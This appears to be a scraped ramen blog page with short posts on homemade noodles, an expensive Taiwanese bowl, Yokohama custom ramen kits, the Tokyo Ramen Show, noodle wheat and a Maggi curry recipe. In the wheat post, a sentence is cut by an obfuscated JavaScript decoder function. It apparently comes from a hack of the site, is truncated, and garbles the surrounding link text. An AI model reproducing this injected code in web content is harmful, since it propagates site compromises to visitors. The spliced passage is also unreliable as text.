Homemade Ramen Noodles

I’ve posted a link on a way to make ramen noodles at home before, but this one looks different It also includes a lot of details on the process and different variations used to get to the final recipe which is pretty cool. The post here also has some details on the "Science Behind the Noodles" which includes details on alkali water and what impact it has on the final product (similar to brewing beer, in which the water also has a large impact).

Frankly I'm way too lazy to do this myself, but if any of you try it, let me know.

Very Expensive Ramen

Time Magazine reports on a $300+ bowl of ramen from Taiwan. There’s no way I’m spending $300 on one bowl of ramen. My max would be $20 and even then, it'd have to be pretty awesome.

One bowl of these noodles costs as much as a lifetime supply of Top Ramen. Enjoy responsibly.

But one Taiwanese chef is spicing up the standard noodle soup, with a price tag that could break the bank. Restaurateur Wang Cong-yuan has created the world's most expensive bowl of beef noodles. The price tag stands at $10,000 New Taiwan dollars – a staggering US$324.

Customizable Ramen in Yokohama

Customizable ramen: This is a great idea. I could combine spicy beef ramen, soy sauce, green onions, and sriracha.

A shop inside a ramen museum is offering visitors an unusual souvenir: custom ramen kits.

The shop allows fans of the noodles to choose their own ramen ingredients from among more than 5,000 combinations and take the packages home with them in unique presentation boxes.

They also have the option of having their names and photographs printed on the finished product, which costs about ¥750.

(That's about $9)

Shop staff also give visitors a 20-minute interactive lesson on how to better enjoy the noodles, along with a free tasting.

I can't imagine what you could learn in a 20 minute ramen eating lesson, but obviously I need to start a consulting firm.

PS - Can anyone find the link to "My Ramen Kitchen"? I cannot find it.

Kimchi Ramyeon

Ramyeon is the Korean version of ramen, to put it succinctly. A reader and chef named Marc sent me a link to his beautifully designed site where he has a good recipe for Kimchi Ramyeon. Although I've still never eaten Kimchi, the presentation of this dish looks excellent. The recipe itself is more work than a simple instant noodle with added meat, but it looks like it would be worth it.

Tokyo Ramen Show 2010

The Tokyo Ramen Show ended today after 5 glorious days. From what I can tell from Google Translate, there are 27 different booths featuring a wide variety of shops and chefs. Booth "SP1" features "Hall forbidden bizarre collaboration Nakahon × Tanmen Mongolia", which is described as "Miso black pork". It certainly sounds interesting, although I don't know what "black pork" is. Probably it's just a bit of mistranslated text. This link shows the list of vendors. If you use Google Chrome, the Google Translate is integrated once you load the site.

More About the Wheat Used to Make Ramen than You Wanted to Know

Farm Weekly has a function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-general/general/new-noodle-wheat-classification/1981917.aspx”>story about Australian wheat and how it was bred so that they could sell it to make Japanese ramen. It's way more detailed than you'd ever want to know, but it has a great pic, which I've included here:

RECENT changes to wheat classification in WA will aid the development of new market opportunities in the Japanese noodle market for Western Australian wheatgrowers.

The Department of Agriculture and Food was instrumental in generating the change, which will open the way for suitable hard wheat to be sold to the ramen noodle market.

Eating Ramen in Lab Coats

Super Spicy Indian Potato Curry Noodles

Esha sent me this interesting sounding recipe. It uses Maggi Masala Noodles, which look just like ramen to me. The are also 100% vegetarian, which is a good option for the veggies out there. This recipe also follows my sri raicha tenant.

  • One packet of Maggi Masala Noodles
  • One potato, peeled and roughly chopped
  • One onion, diced
  • One tomato, chopped
  • Sri Raicha sauce

Boil the potato until soft, add onions and let that boil for a while. Add chopped tomato. Then when onion is transparent, add the noodles. After a minute put one table spoon of sri raicha sauce. Let it cook until almost all the water is gone. Add the flavor packet. Drain the water and enjoy.

Esha adds, "My mom would make this recipe sundays ofr breakfast when we were growing up. It was our treat!"

Send Me Recipe Pics

I don’t have time to make all the recipes on my site, so if you make them, take pics and send them to me! Thanks to Ryan R from Minnesota? who took pics of Spicy Skillet Ramen and sent me a link to them. I updated that post today.

If you have pics of any of the recipes on the site, please email them to me!

Trail Chef: Uncommon Ramen

Backpacker Magazine has an article with some interesting recipes, including a sweet breakfast ramen.

If you had to pick the Official Food of Backpackers—the beloved staple that almost all of us consume at some point during our trail travels—it would probably be gorp. But a close second would be ramen (also the official food of college students). Invented by Japan’s Nissin Foods in 1958, instant noodles are tasty, fast, lightweight, calorie-rich, and cheap (ten packets for $1 is not atypical). In fact, when it comes to sheer number of calories per dollar, only a stick of butter beats them.

The only people who might love ramen more than hikers are the Japanese: In a 2000 poll by the Fuji Research Institute, citizens ranked instant noodles as the No. 1 20th-century Japanese invention—ahead of karaoke (No. 2) and personal stereos (No. 3). Some brands do have questionable ingredients, like the flavoring MSG (it can cause wicked migraines in some people), but groceries now sell all-natural versions, too. But why confine ramen just to dinner? Here are two sweet breakfast and dessert recipes to broaden its culinary horizons.

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